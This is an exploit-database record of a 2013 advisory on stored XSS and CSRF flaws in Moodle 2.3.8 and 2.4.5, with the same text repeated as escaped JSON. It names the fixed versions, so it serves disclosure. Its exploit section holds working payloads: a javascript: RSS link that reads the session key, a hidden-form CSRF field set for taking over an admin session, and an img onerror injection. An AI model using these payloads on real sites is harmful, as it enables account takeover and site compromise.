ID EXPLOITPACK:E6D1E3E4B12DA12E7772F967C1C53D74 Type exploitpack Reporter Ciaran McNally Modified 2013-09-09T00:00:00
Description
Moodle 2.3.82.4.5 - Multiple Vulnerabilities
#######################################################################
Ciaran McNally
Application: Moodle
http://download.moodle.org/
Versions: <= 2.3.8, 2.4.5
Platforms: Windows, Mac, Linux
Bug: Persistant XSS / CSRF
Exploitation: WEB
Date: 9 September 2013.
Author: Ciaran McNally
Web: http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter: https://twitter.com/ciaranmak
#######################################################################
1) Bug.
2) The exploit.
3) Fix.
#######################################################################
Moodle is a Course Management System (CMS), also known as a Learning
Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective
online learning sites.
#######################################################################
======
1) Bug
======
At the following URL as a student,
http://server/blog/external_blog_edit.php
It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection.
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.
In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can
be submitted using this item. It is available on every page which makes
xss quite dangerous in this case.
#######################################################################
==============
2) The exploit
==============
Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.
For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);
This displays the session key and the current users id.
If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.
<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">
You can read more about this on the original blog post.
You can get xss on the main login easily using html such as
<img src=x onerror=XSS> when posting as an admin via csrf.
#######################################################################
======
3) Fix
======
https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)
Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.
#######################################################################
--
maK :)
{"lastseen": "2020-04-01T19:04:35", "references": [], "description": "\nMoodle 2.3.82.4.5 - Multiple Vulnerabilities", "edition": 1, "reporter": "Ciaran McNally", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2013-09-09T00:00:00", "title": "Moodle 2.3.82.4.5 - Multiple Vulnerabilities", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:35", "rev": 2}, "score": {"value": 0.2, "vector": "NONE", "modified": "2020-04-01T19:04:35", "rev": 2}, "vulnersScore": 0.2}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2013-09-09T00:00:00", "id": "EXPLOITPACK:E6D1E3E4B12DA12E7772F967C1C53D74", "href": "", "viewCount": 3, "sourceData": "#######################################################################\n\n Ciaran McNally\n\nApplication: Moodle \n http://download.moodle.org/\nVersions: <= 2.3.8, 2.4.5\nPlatforms: Windows, Mac, Linux\nBug: Persistant XSS / CSRF\nExploitation: WEB\nDate: 9 September 2013.\nAuthor: Ciaran McNally\nWeb: http://makthepla.net/blog/=/moodle-2-account-takeover\nMy Twitter:\t\t https://twitter.com/ciaranmak\n\n#######################################################################\n\n1) Bug.\n2) The exploit.\n3) Fix.\n\n#######################################################################\nMoodle is a Course Management System (CMS), also known as a Learning \nManagement System (LMS) or a Virtual Learning Environment (VLE). \nIt is a Free web application that educators can use to create effective \nonline learning sites.\n#######################################################################\n\n======\n1) Bug\n======\nAt the following URL as a student,\n\nhttp://server/blog/external_blog_edit.php\n\nIt is possible to remotely add an rss blog. The <link> parameter in an\nrss feed is vulnerable to javascript injection. \nThis blog post is viewable by everyone on moodle and you can link to it\ndirectly. Upon clicking the \"Link to original blog entry\" link, you\nget javascript execution.\n\nIn moodle the \"sesskey\" parameter holds the session key used to prevent\ncsrf, this isn't unique for every form once logged in so many forms can \nbe submitted using this item. It is available on every page which makes \nxss quite dangerous in this case.\n\n#######################################################################\n\n==============\n2) The exploit\n==============\n\nUsing a link value of <link>javascript:prompt(document.domain);</link>\nThis will display a demonstrative prompt as expected.\n\nFor a live example you can remotely include my blog rss feed.\nhttp://makthepla.net/Rss/\nMy moodle blog post has a <link> value of the following.\njavascript:alert(\"Session key = \"+M.cfg.sesskey+\"\\nUser ID = \"+window.location.search.split(\"=\")[1]);\n\nThis displays the session key and the current users id.\n\n\nIf you can get an admin to click the link and submit the following form\ntrough javascript, you can post xss onto the main login page of your\nvictim moodle site.\n\n<input type=\"hidden\" name=\"id\" value=\"1\">\n<input type=\"hidden\" name=\"sr\" value=\"0\">\n<input type=\"hidden\" name=\"sesskey\" value=\"x\">\n<input type=\"hidden\" name=\"_qf__editsection_form\" value=\"1\">\n<input type=\"hidden\" name=\"mform_isexpanded_id_generalhdr\" value=\"1\">\n<input type=\"hidden\" name=\"userdefaultname\" value=\"1\">\n<input type=\"hidden\" name=\"summary_editor[text]\" value=\"THE FRONT PAGE DATA AND/OR XSS\">\n<input type=\"hidden\" name=\"summary_editor[format]\" value=\"1\">\n<input type=\"hidden\" name=\"summary_editor[itemid]\" value=\"\">\n<input type=\"hidden\" name=\"submitbutton\" value=\"Save+changes\">\n\nYou can read more about this on the original blog post. \nYou can get xss on the main login easily using html such as \n<img src=x onerror=XSS> when posting as an admin via csrf.\n\n\n#######################################################################\n\n======\n3) Fix\n======\n\nhttps://tracker.moodle.org/browse/MDL-41623\n(This requires a login to view)\n\nUpgrade to versions 2.3.9, 2.4.6 and 2.5.2.\n\n#######################################################################\n\n--\nmaK :)", "cvss": {"score": 0.0, "vector": "NONE"}}